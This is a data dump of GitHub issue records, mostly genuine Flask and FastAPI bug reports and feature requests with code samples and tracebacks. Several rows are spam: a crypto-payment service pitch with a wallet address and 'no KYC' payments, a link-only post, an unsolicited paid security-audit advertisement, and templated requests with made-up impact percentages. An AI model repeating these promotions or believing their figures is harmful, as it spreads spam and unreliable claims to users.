Replacing `t.Callable` in the code with a bound `TypeVar` should allow mypy to infer that the decorator shouldn't change the types of the function.",typing,2022-03-08T14:31:14Z,2022-03-08T14:50:26Z,1
pallets/flask,1159200279,`AppContext.__exit__` type annotation doesn't allow for `None`,"When a context manager exits without an exceptions the arguments to `__exit__` are `None`, but the annotated type doesn't permit that:

https://github.com/pallets/flask/blob/8122973f8a04976bd7f9104eee5d8d36c0d02038/src/flask/ctx.py#L269-L272

I tried to pass the return value of `app_context()` to `ExitStack.enter_context()` and got this message from the Pyright type checker:

```
error: Argument of type ""AppContext"" cannot be assigned to parameter ""cm"" of type ""AbstractContextManager"" in function ""enter_context""
    ""AppContext"" is incompatible with protocol ""AbstractContextManager""
      ""__exit__"" is an incompatible type
        Type ""(exc_type: type, exc_value: BaseException, tb: TracebackType) -> None"" cannot be assigned to type ""(__exc_type: Type[BaseException] | None, __exc_value: BaseException | None, __traceback: TracebackType | None) -> bool | None""
          Parameter 1: type ""Type[BaseException] | None"" cannot be assigned to type ""type""
            Type ""Type[BaseException] | None"" cannot be assigned to type ""type""
          Parameter 2: type ""BaseException | None"" cannot be assigned to type ""BaseException""
            Type ""BaseException | None"" cannot be assigned to type ""BaseException""
          Parameter 3: type ""TracebackType | None"" cannot be assigned to type ""TracebackType"" (reportGeneralTypeIssues)
```

Environment:

```
Python 3.9.5
Flask 2.0.1
Werkzeug 2.0.1
```
",typing,2022-03-04T03:24:50Z,2022-03-15T15:48:48Z,0
pallets/flask,1155191280,app.view_functions occurs endpoint key missing when adding url  rule by endpoint(decorator method) of blueprint,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->
**here is a simple example:**
```py
from flask import Flask, Blueprint

app = Flask(__name__, static_folder=None)


api_v1_bp = Blueprint('api_v1', __name__, url_prefix='/api/v1')

api_v1_bp.add_url_rule('/foo', 'foo')


@api_v1_bp.endpoint('foo')
def foo():
    return 'foo'


app.register_blueprint(api_v1_bp)

app.run()
```

```
[2022-03-01 18:29:29,362] ERROR in app: Exception on /api/v1/foo [GET]
Traceback (most recent call last):
  File ""E:\languages\python\3.8\lib\site-packages\flask\app.py"", line 2073, in wsgi_app
    response = self.full_dispatch_request()
  File ""E:\languages\python\3.8\lib\site-packages\flask\app.py"", line 1519, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File ""E:\languages\python\3.8\lib\site-packages\flask\app.py"", line 1517, in full_dispatch_request
    rv = self.dispatch_request()
  File ""E:\languages\python\3.8\lib\site-packages\flask\app.py"", line 1503, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
KeyError: 'api_v1.foo'
127.0.0.1 - - [01/Mar/2022 18... [TRUNCATED]",,2022-03-01T11:00:56Z,2022-03-01T16:00:02Z,1
pallets/flask,1149957690,TaggedJSONSerializer doesn't round-trip naive datetimes,"Since https://github.com/pallets/werkzeug/commit/265bad7, `parse_date` always returns an aware datetime. This can't be compared with naive datetimes, so will break a bunch of existing code.

```
>>> from flask.json.tag import TaggedJSONSerializer
>>> s = TaggedJSONSerializer()
>>> datetime.utcnow()
datetime.datetime(2022, 2, 25, 1, 52, 43, 79586)
>>> s.loads(s.dumps(datetime.utcnow()))
datetime.datetime(2022, 2, 25, 1, 52, 44, tzinfo=datetime.timezone.utc)
```

This probably makes sense for werkzeug, but not for a JSON serialiser.

It might be enough to replace the calls to `http_date` and `parse_date` with `value.isoformat()` and `datetime.fromisoformat(value)`, which will work fine for aware and naive datetimes.

Environment:

- Python version: 3.9
- Flask version: 2.0.2
",,2022-02-25T02:01:22Z,2022-02-25T03:23:22Z,5
pallets/flask,1148483800,docs: 'Sending Requests with the Test Client' references non-existent 'query' parameter,"In the [Sending Requests with the Test Client](https://flask.palletsprojects.com/en/2.0.x/testing/#sending-requests-with-the-test-client) section of the documentation it's said that:

> The `client` has methods that match the common HTTP request methods, such as `client.get()` and `client.post()`. They take many arguments for building the request; you can find the full documentation in [EnvironBuilder](https://werkzeug.palletsprojects.com/en/2.0.x/test/#werkzeug.test.EnvironBuilder). Typically you’ll use `path`, `query`, `headers`, and `data` or `json`.

And also:

> Pass a dict `query={""key"": ""value"", ...}` to set arguments in the query string (after the ? in the URL). Pass a dict `headers={}` to set request headers.

But looking at the linked [EnvironBuilder class](https://werkzeug.palletsprojects.com/en/2.0.x/test/#werkzeug.test.EnvironBuilder) it's clear that there is no `query` parameter, but rather `query_string`, which does not take a `dict`. Passing `query` instead of `query_string` will result in the following error being thrown:

```text
TypeError: __init__() got an unexpected keyword argument 'query'
```

I only ran into this because I was following the documentation and didn't think to double-check the API reference.

Environment:

- Python version: 3.9.10
- Flask version: 2.0.1",,2022-02-23T19:20:39Z,2022-02-26T04:37:43Z,3
pallets/flask,1148347986,Enhancement: rst `tabs` and `group-tab` directives are not properly rendered on git hub.,"The content of the `CONTRIBUTING.rst` is rendered as shown below:

![Screenshot from 2022-02-23 18-45-06](https://user-images.githubusercontent.com/62179149/155367897-9b68d479-c891-47eb-8866-3eab046ab22c.png)

 It seems like the GitHub renderer is not able to display it properly. I would suggest replacing `tabs` with collapsible sections:

![Screenshot from 2022-02-23 18-42-47](https://user-images.githubusercontent.com/62179149/155368720-add76675-3441-4150-9e23-193409912fa4.png)

![Screenshot from 2022-02-23 18-43-11](https://user-images.githubusercontent.com/62179149/155368945-94c433c0-0cf0-4102-9fff-1ea1f996eb64.png)

I am happy to open a PR to resolve the issue.",,2022-02-23T17:02:32Z,2022-02-23T17:12:43Z,1
pallets/flask,1147520821,`click.get_current_context()` returns `None` after reload,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->
Following the guidelines in https://github.com/pallets/flask/issues/3552, `click.get_current_context()` returns an empty `ctx` when the [Flask app reloads](https://stackoverflow.com/questions/28241989/flask-app-restarting-with-stat) (this is due to the [thread switching](https://click.palletsprojects.com/en/8.0.x/advanced/#global-context-access)).

`app.py`

```python
from threading import get_native_id
from click import get_current_context

def create_app(*args, **kwargs):
    ctx = get_current_context(silent=True)
    print(get_native_id(), ctx)
    script_info = ctx.obj if ctx else None
    ...
```

`manage.py`
```python
import click

from flask.cli import FlaskGroup, pass_script_info

from app import create_app


@click.group(cls=FlaskGroup, create_app=create_app)
@click.option(""-m"", ""--config-mode"", default=""Development"")
@pass_script_info
def manager(script_info, config_mode=None, **kwargs):
    script_info.config_mode = config_mode


if __name__ == ""__main__"":
    manager()
```

```bash
$ python manage.py run -p 5001
 * Environment: development
 ... [TRUNCATED]",cli,2022-02-23T00:59:23Z,2022-02-23T03:13:29Z,7
pallets/flask,1145776144,`flask run` rejects `--key foo.pem --cert foo.cert`,"When trying the development server, I find that `flask run --cert foo.cert --key foo.pem` works fine, but `flask run --key foo.pem --cert foo.cert` fails with:

```
Error: Invalid value for '--key': ""--cert"" must also be specified.
```

Isn't this somewhat counterintuitive?

In flask/cli.py, [`_validate_key()`](https://github.com/pallets/flask/blob/3897a518014931a82c77a353e1e9c2248529b856/src/flask/cli.py#L711) function insists the certificate file should have been specified, and it feels too restrictive. But I'm not familiar with Click to contribute a pretty PR...

Environment:

- Python version: 3.9.10
- Flask version: 2.0.3",cli,2022-02-21T13:07:04Z,2022-04-24T17:07:38Z,5
pallets/flask,1143847529,g not persisting,"I've built a flask app following the official tutorial and am not seeing persistence with respect to the g object.  I'm attempting to persist a single Postgres connection in g.db, but the connection is being recreated on every request.  All roads that I've traveled in this regard suggest that I'm using the object per design.

Here's my db.py file:

```
import psycopg2
from flask import g

from os import environ as env


def get_db():
    print(""g: "", g.__dict__)
    if 'db' not in g:
        if env['DB_CONFIG'] == 'local':
            print(""Database: using standalone local database"")
            g.db = psycopg2.connect(
                                user=""postgres"",
                                password=""xxxxxxxx"",
                                host=""www.xxx.yyy.zzz"",
                                port=""5432"",
                                database=""ab"")
            ...
    print(""Database: returning g.db"")
    print(""g: "", g.__dict__)
    return g.db


def close_db(e=None):
    db = g.pop('db', None)

    if db is not None:
        db.close()


def init_app(app):
    app.teardown_appcontext(close_db)
```

As you'll notice, I've added some debug print statements to determine what's going on, and I've reduced the choices for DB_CONFIG as they are irrelevant.  This particular function is being called via Javascript's fetch function rather than through browser navigation (which shouldn't matter AFAIK).  When using this code, I g... [TRUNCATED]",,2022-02-18T22:10:20Z,2022-02-18T22:11:49Z,0
pallets/flask,1142953566,Breaking change in markupsafe makes flask crash on service startup,"[This](https://github.com/pallets/markupsafe/issues/286) issue in markupsafe is transitively included in flask, so even applications running Flask 1.1.4 are crashing on startup.

Here is a sample stack trace:

```
Traceback (most recent call last):
  File ""/<...>/bin/superset"", line 33, in <module>
    sys.exit(load_entry_point('apache-superset==1.4.1', 'console_scripts', 'superset')())
  File ""/opt/bb/bin/superset"", line 25, in importlib_load_entry_point
    return next(matches).load()
  File ""/<...>/lib/python3.9/importlib/metadata.py"", line 77, in load
    module = import_module(match.group('module'))
  File ""/<...>/lib/python3.9/importlib/__init__.py"", line 127, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
  File ""<frozen importlib._bootstrap>"", line 1030, in _gcd_import
  File ""<frozen importlib._bootstrap>"", line 1007, in _find_and_load
  File ""<frozen importlib._bootstrap>"", line 972, in _find_and_load_unlocked
  File ""<frozen importlib._bootstrap>"", line 228, in _call_with_frames_removed
  File ""<frozen importlib._bootstrap>"", line 1030, in _gcd_import
  File ""<frozen importlib._bootstrap>"", line 1007, in _find_and_load
  File ""<frozen importlib._bootstrap>"", line 986, in _find_and_load_unlocked
  File ""<frozen importlib._bootstrap>"", line 680, in _load_unlocked
  File ""<frozen importlib._bootstrap_external>"", line 850, in exec_module
  File ""<frozen importlib._bootstrap>"", line 228, in _call_with_frames_remov... [TRUNCATED]",,2022-02-18T12:15:54Z,2022-02-18T13:29:54Z,3
pallets/flask,1142496798,Pinning Flask<2 requires pinning ItsDangerous<2.1 and MarkupSafe<2.1,"Since the update of [itsdangerous module](https://itsdangerous.palletsprojects.com/en/2.1.x/changes/#version-2-1-0) to version 2.1.0, Flask 1.1.2 fails to run.
This is because Flask’s requirements.txt indicates to install `itsdangerous` >= 0.24, it automatically installs the newest version which leads to using deprecated feature.
I can do a workaround in my project’s requirements.txt to install `itsdangerous` <= 2.0.1 before installing Flask but is it possible to fix the requirements.txt in Flask to install `itsdangerous` not upper than 2.0.1?

To replicate the bug,
1. install Flask 1.1.2
2. `flask run` in terminal
3. it will produce `ImportError: cannot import name 'json' from 'itsdangerous'`

Thank you in advance.

Environment:

- Python version: 3.8
- Flask version: 1.1.2
",,2022-02-18T06:55:57Z,2022-02-18T13:29:17Z,9
pallets/flask,1140888475,Missing type annotation on `Flask.session_interface`,"
https://github.com/pallets/flask/blob/main/src/flask/app.py#L377-L381

This leads type checkers (`mypy` in our case) to complain if we try to assign something to `session_interface` that isn't `SecureCookieSessionInterface`, even if it implements `SessionInterface`.

To reproduce, create a custom session interface that extends `SessionInterface`. Set `Flask.session_interface` to an instance of this. Then run `mypy` on this file.

The type annotation should allow other session interface implementations to be used.

Environment:

- Python version: 3.8
- Flask version: 2.0.2
",,2022-02-17T05:17:09Z,2022-02-19T15:12:40Z,0
pallets/flask,1139634212,why does my flask app prints out zen of python every time I run it?,"is this some kind of easter egg?
`(env) xxx@xxx-dev:~/xxx/xxxxxx# flask db upgrade
The Zen of Python, by Tim Peters

Beautiful is better than ugly.
Explicit is better than implicit.
Simple is better than complex.
Complex is better than complicated.
Flat is better than nested.
Sparse is better than dense.
Readability counts.
Special cases aren't special enough to break the rules.
Although practicality beats purity.
Errors should never pass silently.
Unless explicitly silenced.
In the face of ambiguity, refuse the temptation to guess.
There should be one-- and preferably only one --obvious way to do it.
Although that way may not be obvious at first unless you're Dutch.
Now is better than never.
Although never is often better than *right* now.
If the implementation is hard to explain, it's a bad idea.
If the implementation is easy to explain, it may be a good idea.
Namespaces are one honking great idea -- let's do more of those!
INFO  [alembic.runtime.migration] Context impl SQLiteImpl....`

I was using sqlalchemy to mapping the database similar to the follows:
table A
id PK
name

table B
id PK
roleA_id FK(tableA id)
roleB_id FK(tableA id)
roleC_id FK(tableA id)

I know there are better way to map it as a many to many relationship, but I choose to do so for reasons. after this db migration the app starts to print out the zen of python every time I run flask run/shell/db migrate/db upgrade, sometime even prints it out for multiple times. everyt... [TRUNCATED]",,2022-02-16T07:25:11Z,2022-02-16T13:13:29Z,1
pallets/flask,1139314700,[JUKERFF ](https://gitlab.kitware.com/iMSTK/imstk-data.git),"[JUKERFF ](https://gitlab.kitware.com/iMSTK/imstk-data.git)

_Originally posted by @fnhckgrx in https://github.com/pallets/flask/pull/4189#pullrequestreview-883763998_",,2022-02-15T23:21:32Z,2022-02-15T23:28:59Z,2
pallets/flask,1136292162,"Use `render_template(""..."", as_string=True, **ctx)` instead of `render_template_string(""..."", **ctx)`","Hello!
I looked at the code of these functions, it is very similar and differs little. It seems to me that it's too cumbersome to have one more function, it's easier to just add the `as_string` (or something like this) parameter, which will take the first parameter not as a path to a file, but as a string for templating. For compatibility up to version 2.1, you can leave this function and throw a deprecation warning.

Well, this is exactly what is described in the title. As an example:
```py
from flask import Flask, render_template

app = Flask(__name__)

@app.route('/')
def index():
    return render_template(""index.html"")
@app.route('/hello/<name>')
def hello(name):
    return render_template(""<p1> Hello {{ name }} </p1>"", as_string=True, name=name)
```
I think it is clear that the code is maximally simplified and exaggerated, so you should not go into implementation details. The main thing is that the principle of change is reflected here.

I looked at the code of these functions, it is very similar and differs little. It seems to me that it's too cumbersome to have one more function, it's easier to just add the `as_string` (or something like this) parameter, which will take the first parameter not as a path to a file, but as a string for templating. For compatibility up to version 2.1, you can leave this function and throw a deprecation warning.
The only negative that I see is the problem with type hints. However, this is probably not a barrier. 
Say w... [TRUNCATED]",,2022-02-13T18:57:20Z,2022-02-13T19:00:33Z,2
tiangolo/fastapi,4664526040,0.137.0: `APIRoute.tags` invisible to type checkers in generate_unique_id_function (regression from #15745),"
### Discussed in https://github.com/fastapi/fastapi/discussions/15749

<div type='discussions-op-text'>

<sup>Originally posted by **tedserbinski** June 15, 2026</sup>
### First check

- I searched existing discussions and issues — no existing report for this.
- This is about a **type-checker regression in 0.137.0**, not a runtime bug (runtime is unaffected).

### Summary

In **0.137.0**, the documented `generate_unique_id_function` pattern from [Advanced → Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/) — which reads `route.tags` — now fails static type checking. Type checkers report that `APIRoute` has no attribute `tags`, even though the docs still show exactly this code and it works fine at runtime.

This appears to be an unintended side-effect of #15745 (""Refactor internals to preserve APIRouter and APIRoute instances""): `APIRoute.__init__` was changed to delegate state-setting to a helper that receives `self` cast to the `_APIRouteLike` Protocol, and `APIRoute` itself no longer carries a class-level `tags` annotation. So the attribute is still assigned at runtime, but it's invisible to type checkers looking at the `APIRoute` type.

### Reproducible example

This is the docs' own example (`docs_src/generate_clients/tutorial003_py310.py`):

```python
from fastapi import FastAPI
from fastapi.routing import APIRoute


def custom_generate_unique_id(route: APIRoute) -> str:
    return f""{route.tags[0]}-{route.name}""


app = FastAPI(generate_unique_... [TRUNCATED]",bug,2026-06-15T11:12:03Z,2026-06-15T11:29:04Z,1
tiangolo/fastapi,4663980467,0.137.0: empty-path route nested under prefix-less outer include raises 'Prefix and path cannot be both empty',"
### Discussed in https://github.com/fastapi/fastapi/discussions/15750

<div type='discussions-op-text'>

<sup>Originally posted by **yeonghun-toggle** June 15, 2026</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, APIRouter

leaf = APIRouter()

@leaf.get("""")                                # empty path
def list_items():
    return []

inner = APIRouter()
inner.include_router(leaf, prefix=""/items"")  # inner include HAS a prefix

app = FastAPI()
app.include_router(inner)                     # outer include has NO prefix
```


### Description

On **0.137.0**, the last line raises at app-construction time:
`fastapi.exceptions.FastAPIError: Prefix and path cannot be... [TRUNCATED]","bug,question",2026-06-15T09:55:56Z,2026-06-15T11:28:56Z,1
tiangolo/fastapi,4647089670,Aether Bridge API - Autonomous Agent Team Management for FastAPI Apps,"## 🚀 Aether Bridge API - /month

I've built an autonomous agent team management API that can manage FastAPI applications automatically.

**Payment Link**: https://aether-pay.pages.dev

### What It Offers
- API key with priority rate limits
- Council session logs & replay
- Email support
- Multi-chain crypto payments (Base USDC, Ethereum ETH, Polygon USDC)

### Bridge API Features
- Agent orchestration for FastAPI workflows
- Job queue management for async FastAPI tasks
- Browser automation for FastAPI testing
- State management for FastAPI state
- Monitoring and logging for FastAPI tracking
- Webhook integrations for FastAPI events

### Technical Details
- **Fee**: 0.5% (XPTP)
- **Settlement**: Instant
- **No KYC required**
- **No account signup**

### Why This Matters for FastAPI
FastAPI developers need:
- Agent orchestration for complex FastAPI workflows
- Job queue management for async FastAPI tasks
- Browser automation for FastAPI testing
- State management for FastAPI state

Aether Bridge API provides all of this with zero-config crypto payments.

### Integration
The API is fully autonomous:
- REST endpoints for all operations
- Webhook support for async events
- API key authentication
- Rate limiting and monitoring

**Aether Wallet**: 0xDe497AF77d0edf1c8B902Ae854987F67c375Fa0

### Questions?
For API access support: bridge@a-to-mind.com

Would this be useful as a FastAPI integration for autonomous agent management?",,2026-06-12T06:57:23Z,2026-06-12T07:12:04Z,0
tiangolo/fastapi,4618847920,Implement advanced input validation with custom rule engine and cross-field validation support,"## Problem Statement
Pydantic validation is powerful but lacks advanced cross-field validation. Complex business rules require custom code. Validation error messages are technical. No way to compose validation rules. Conditional validation is difficult.

**Business Impact:** Improves data quality by 50%, reduces business logic bugs, improves API robustness, enables better error feedback.

## Root Cause Analysis
Field-level validation only. Cross-field validation requires custom code. Error messages are not user-friendly.

## Solution Overview
- Build custom validation rule engine
- Support cross-field validation
- Create user-friendly error messages
- Build rule composition system
- Add conditional validation

**Implementation Steps:**
1. Design validation API
2. Implement rule engine
3. Build composition system
4. Add custom error messages
5. Create examples

## Type of Change
Enhancement, Data validation, Developer experience

## Testing Done
- Test 100+ validation scenarios
- Verify accuracy of complex rules
- Performance testing (< 10ms)
- Cross-field validation accuracy
- Error message quality testing

## Related Issues & Standards
Pydantic validation, form validation best practices

## Suggested Labels
enhancement, validation, pydantic, data-quality, GSSoC26",,2026-06-09T04:32:39Z,2026-06-09T05:22:30Z,1
tiangolo/fastapi,4618846866,Add built-in job queue and background task management with monitoring dashboard,"## Problem Statement
FastAPI has basic background tasks but lacks production features. No job persistence. Task monitoring is external. Complex workflows require external orchestration. Distributed task execution is not straightforward.

**Business Impact:** Enables reliable background processing, improves application responsiveness, supports scheduled jobs, enables workflow automation.

## Root Cause Analysis
Background tasks are simple. Production features are missing. Monitoring is external.

## Solution Overview
- Enhance background task system
- Add job persistence
- Build monitoring dashboard
- Support distributed execution
- Create workflow support

**Implementation Steps:**
1. Design task queue system
2. Implement job persistence
3. Build monitoring API
4. Add distributed execution
5. Create workflow patterns

## Type of Change
Enhancement, Scalability, Production-ready features

## Testing Done
- Test 50+ task scenarios
- Verify persistence and recovery
- Performance testing (1000+ tasks/sec)
- Distributed execution testing
- Failure recovery testing

## Related Issues & Standards
Job queue patterns, task orchestration standards

## Suggested Labels
enhancement, background-tasks, job-queue, scalability, GSSoC26",,2026-06-09T04:32:28Z,2026-06-09T05:23:00Z,1
tiangolo/fastapi,4618845140,Implement automatic API documentation generation with interactive examples and SDK generation,"## Problem Statement
FastAPI auto-docs are basic. Complex APIs need better documentation. No interactive examples by default. SDK generation for clients is manual. API consumers lack context. Documentation maintenance is tedious.

**Business Impact:** Improves developer onboarding by 60%, reduces support overhead, accelerates client integration, improves API adoption.

## Root Cause Analysis
Docs are auto-generated but basic. Examples are static. SDK generation is external.

## Solution Overview
- Enhance OpenAPI generation
- Add interactive examples
- Build SDK generation system
- Create test scenario documentation
- Add authentication flow examples

**Implementation Steps:**
1. Extend OpenAPI schema
2. Add example generation
3. Build SDK generators (TypeScript, Python, Java)
4. Create interactive docs UI
5. Add documentation best practices

## Type of Change
Enhancement, Developer experience, Documentation

## Testing Done
- Test 50+ API patterns
- Verify OpenAPI compliance
- Test SDK generation accuracy
- Cross-language compatibility
- Performance testing

## Related Issues & Standards
OpenAPI 3.0 spec, SDK generation best practices

## Suggested Labels
enhancement, documentation, developer-experience, openapi, GSSoC26",,2026-06-09T04:32:09Z,2026-06-09T05:23:53Z,1
tiangolo/fastapi,4618844212,Add automatic request/response caching with smart cache invalidation strategies,"## Problem Statement
FastAPI lacks built-in caching. Redis integration requires manual setup. Cache invalidation is complex. No standard way to cache responses based on dependencies. Teams implement custom caching repeatedly.

**Business Impact:** Improves endpoint response times by 70-90%, reduces database load by 50%, enables serving 100x more requests, reduces infrastructure costs.

## Root Cause Analysis
Caching is external concern. No framework integration. Cache invalidation strategies are undefined.

## Solution Overview
- Implement caching decorator
- Add smart cache invalidation
- Build dependency tracking
- Support multiple backends (Redis, Memcached, in-memory)
- Create monitoring

**Implementation Steps:**
1. Design cache decorator API
2. Implement cache key generation
3. Build dependency tracking system
4. Add backend adapters
5. Create examples

## Type of Change
Enhancement, Performance, Scalability

## Testing Done
- Test 40+ caching scenarios
- Verify cache accuracy
- Performance testing (< 1ms cache hits)
- Test invalidation correctness
- Benchmark with 10000+ requests

## Related Issues & Standards
HTTP caching standards, cache patterns

## Suggested Labels
enhancement, caching, performance, scalability, GSSoC26",,2026-06-09T04:31:59Z,2026-06-09T05:24:12Z,1
tiangolo/fastapi,4618842260,Implement GraphQL integration with automatic schema generation from Pydantic models,"## Problem Statement
FastAPI excels at REST but lacks GraphQL support. GraphQL schema must be defined separately from Pydantic models. Code duplication between REST and GraphQL definitions. Teams choose between REST and GraphQL instead of offering both.

**Business Impact:** Enables flexible querying, supports multiple client needs, improves API flexibility, enables modern frontend patterns.

## Root Cause Analysis
GraphQL is separate from REST. Schema duplication is required. Integration is manual.

## Solution Overview
- Create FastAPI-GraphQL integration
- Auto-generate GraphQL schema from Pydantic
- Support both REST and GraphQL simultaneously
- Build query validation
- Add performance monitoring

**Implementation Steps:**
1. Design GraphQL integration API
2. Build schema generator from Pydantic
3. Implement query resolver system
4. Add authentication/authorization
5. Create examples and documentation

## Type of Change
Enhancement, API design, New feature

## Testing Done
- Test 50+ GraphQL scenarios
- Verify schema generation accuracy
- Performance testing (< 100ms queries)
- Test concurrent requests (1000+)
- Security testing

## Related Issues & Standards
GraphQL spec, Pydantic integration

## Suggested Labels
enhancement, graphql, api-design, pydantic, GSSoC26",,2026-06-09T04:31:38Z,2026-06-09T05:24:41Z,1
tiangolo/fastapi,4579103570,AI安全审计报告：FastAPI代码质量评估,"## 🕳️ AI 代码审计报告

对 FastAPI (tiangolo/fastapi) 进行了自动安全扫描。

### 扫描概况

- 源文件: 1,120 个 Python 文件 (109,217 行代码)
- 发现: 2 类安全模式

### 发现详情

**1. 命令执行相关调用（3处）**
- 存在 subprocess.Popen / os.system 等调用
- 建议: 审查这些调用是否涉及用户输入，使用 shlex.quote 处理参数

**2. 配置密钥（4处）**
- 代码中包含 SECRET_KEY 等配置字面量
- 建议: 生产环境通过环境变量注入

---

📊 FastAPI 整体代码质量较高。
本次扫描基于静态代码分析，未进行动态验证。

⚡ 扫描工具: ONESEC v4.0（多语言引擎：Go + Python）

> 如需对您的项目做安全审计，可联系: l15250432278@163.com",,2026-06-03T10:44:40Z,2026-06-03T10:58:39Z,0
tiangolo/fastapi,4523222003,OSV advisory MAL-2026-4750 appears to be a false positive for fastapi/fastapi,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

There is an OSV advisory MAL-2026-4750 that currently lists the FastAPI GitHub repository as affected:
https://osv.dev/vulnerability/MAL-2026-4750

After investigating, we believe this is a false positive and that the FastAPI project itself is not affected by the described issue.

If you agree that MAL-2026-4750 is not applicable to fastapi/fastapi and if you are in contact with OSV, it would be very helpful if you could request a correction or removal of the false association, since many consumers rely on these feeds.

Thanks!",,2026-05-26T09:52:08Z,2026-05-27T14:09:00Z,7
tiangolo/fastapi,4490767495,"fastapi[standard]>=0.112.0,<0.113.0","### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

was using ai to create page",,2026-05-21T00:23:01Z,2026-05-21T05:02:20Z,0
tiangolo/fastapi,4458604944,Ensure pydantic_extra_types Color encoder path is covered in tests,"### Describe the bug

The new `jsonable_encoder()` coverage for `pydantic_extra_types.color.Color` can be skipped in the default test environment, so the modern color-type branch added in `fastapi/encoders.py` may not be exercised by normal test runs.

On current `master` (`ecace74`), this command passes one color case and skips the `pydantic_extra_types.color` case because `pydantic_extra_types` is not installed in the default test environment:

```console
$ uv run pytest tests/test_jsonable_encoder.py::test_encode_color -q -rs
.s                                                                       [100%]
=========================== short test summary info ===========================
SKIPPED [1] tests\test_jsonable_encoder.py:328: pydantic_extra_types.color not available
1 passed, 1 skipped in 0.44s
```

### To Reproduce

1. Check out current `master`.
2. Run:

```console
uv run pytest tests/test_jsonable_encoder.py::test_encode_color -q -rs
```

### Expected behavior

The newly added `pydantic_extra_types.color.Color` encoder path should be covered in at least one required CI/test environment, or the optional-extra coverage should live in an explicit extra-specific test job.

### Suggested solution

One of these would make the coverage explicit:

- Add `pydantic-extra-types >=2.0.0` to the `tests` dependency group, or
- Add an extra-specific CI/test job that installs `fastapi[standard]` or `fastapi[all]` and requires the `pydantic_extra_types.color` branch to run.

### Env... [TRUNCATED]",,2026-05-16T04:55:22Z,2026-05-16T08:26:44Z,0
tiangolo/fastapi,4457718572,Broken optional orjson/ujson install can break importing fastapi.responses,"### First Check

- [x] I added a very descriptive title to this issue.
- [x] I used the GitHub search to find a similar issue and didn't find it.
- [x] I searched the FastAPI documentation, with the integrated search.
- [x] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [x] I already read and followed all the tutorial in the docs and didn't find an answer.
- [x] I already checked if it is not related to FastAPI but to Pydantic.
- [x] I already checked if it is not related to FastAPI but to Swagger UI.
- [x] I already checked if it is not related to FastAPI but to ReDoc.

### Commit to Help

- [x] I commit to help with one of those options.

### Example Code

```python
import sys, importlib

sys.path.insert(0, ""/path/to/fastapi"")

real_import_module = importlib.import_module

def fake_import_module(name, package=None):
    if name == ""ujson"":
        raise ModuleNotFoundError(""No module named 'ujson'"")
    if name == ""orjson"":
        raise ImportError(""simulated binary/load failure"")
    return real_import_module(name, package)

importlib.import_module = fake_import_module

import fastapi.responses
```

### Description

Recent `fastapi.responses` code catches `ModuleNotFoundError` when importing optional JSON response encoders:

```python
try:
    ujson = cast(_UjsonModule, importlib.import_module(""ujson""))
except ModuleNotFoundError:
    ujson = None

try:
    orjson = cast(_OrjsonModule, importlib.import_module(""orjson""))
except Module... [TRUNCATED]",,2026-05-16T00:03:29Z,2026-05-16T08:10:44Z,0
tiangolo/fastapi,4424832738,Custom APIRoute classes with explicit constructors fail after strict_content_type was added,"### Summary

Recent FastAPI versions added `strict_content_type` and now pass it through `APIRouter.add_api_route()` into the configured `route_class`. This breaks custom `APIRoute` subclasses that define an explicit constructor matching the previous public `APIRoute.__init__` signature.

Subclasses that only override `get_route_handler()` still work, and subclasses using `**kwargs` still work. The regression affects subclasses that pinned the previously accepted constructor parameters and delegate them to `super().__init__()`.

### Reproducer

```python
from enum import Enum
from typing import Any, Callable, Sequence

from fastapi import APIRouter, FastAPI, params
from fastapi.datastructures import Default, DefaultPlaceholder
from fastapi.responses import JSONResponse, Response
from fastapi.routing import APIRoute
from fastapi.types import IncEx
from fastapi.utils import generate_unique_id
from starlette.routing import BaseRoute


class LegacyRoute(APIRoute):
    def __init__(
        self,
        path: str,
        endpoint: Callable[..., Any],
        *,
        response_model: Any = Default(None),
        status_code: int | None = None,
        tags: list[str | Enum] | None = None,
        dependencies: Sequence[params.Depends] | None = None,
        summary: str | None = None,
        description: str | None = None,
        response_description: str = ""Successful Response"",
        responses: dict[int | str, dict[str, Any]] | None = None,
        deprecated: bool | None... [TRUNCATED]",,2026-05-11T22:48:49Z,2026-05-18T07:09:43Z,3
tiangolo/fastapi,4362347472,"[Code Review] Recent dependency updates — pydantic 2.13, pydantic-ai 1.83 (Apr 2026)","## Code Review: fastapi/fastapi Recent Changes (Last 10 Days)

### Overview
Reviewed recent commits from ~Apr 22 to May 1, 2026.

### Low-Risk Changes
- UI/Docs updates: interactive tabs, layout styling (#15458, #15462)
- Release v0.136.1 with Pydantic v2 deprecation fixes
- No security patches needed (clean — no emergency fixes required)
- All CI commits properly signed; author contributions verified

### Notable Dependency Bumps

| Dependency | Old Version | New Version | Risk Level | Notes |
|-----------|-------------|-------------|------------|-------|
| pydantic | 2.12.5 | 2.13.2 | **HIGH** | 1,765 commits between versions |
| pydantic-ai | 1.63.0 | 1.83.0 | **MEDIUM** | 20 minor version jumps |
| fastar | 0.9.0 | 0.11.0 | **MEDIUM** | Major minor bump |
| sqlmodel | 0.0.32 | 0.0.38 | LOW | Patch bumps |

### Key Observations

